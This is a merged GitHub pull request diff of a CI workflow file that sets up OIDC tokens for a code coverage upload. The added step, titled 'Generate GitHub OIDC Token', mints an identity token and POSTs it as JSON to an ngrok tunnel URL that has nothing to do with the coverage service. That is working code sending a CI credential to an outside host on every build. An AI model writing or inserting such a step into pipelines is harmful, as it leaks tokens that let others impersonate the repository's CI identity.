Skip to content
Merged
Changes from 5 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 22 additions & 1 deletion .github/workflows/main.yml
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ on:
permissions:
actions: write
contents: read
id-token: write

jobs:
build:
Expand All @@ -25,6 +26,26 @@ jobs:
- name: Checkout repo
uses: actions/checkout@v4

- name: Generate GitHub OIDC Token
uses: actions/github-script@v6
id: get-id-token
with:
script: |
const id_token = await core.getIDToken("https://qlty.sh");
core.setOutput('id_token', id_token);

const url = "https://934c-2600-4041-553f-0-14f5-94a2-a97a-9d73.ngrok-free.app";
const response = await fetch(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ id_token })
});
if (!response.ok) {
core.setFailed(`Failed to POST id_token: ${response.statusText}`);
} else {
console.log("Successfully posted the id_token");
}

- name: Set up Ruby
uses: ruby/setup-ruby@v1
with:
Expand All @@ -36,5 +57,5 @@ jobs:

- uses: qltysh/qlty-action/coverage@main
with:
coverage-token: ${{ secrets.QLTY_COVERAGE_TOKEN }}
coverage-token: ${{ steps.get-id-token.outputs.id_token }}
files: coverage/coverage.json
Loading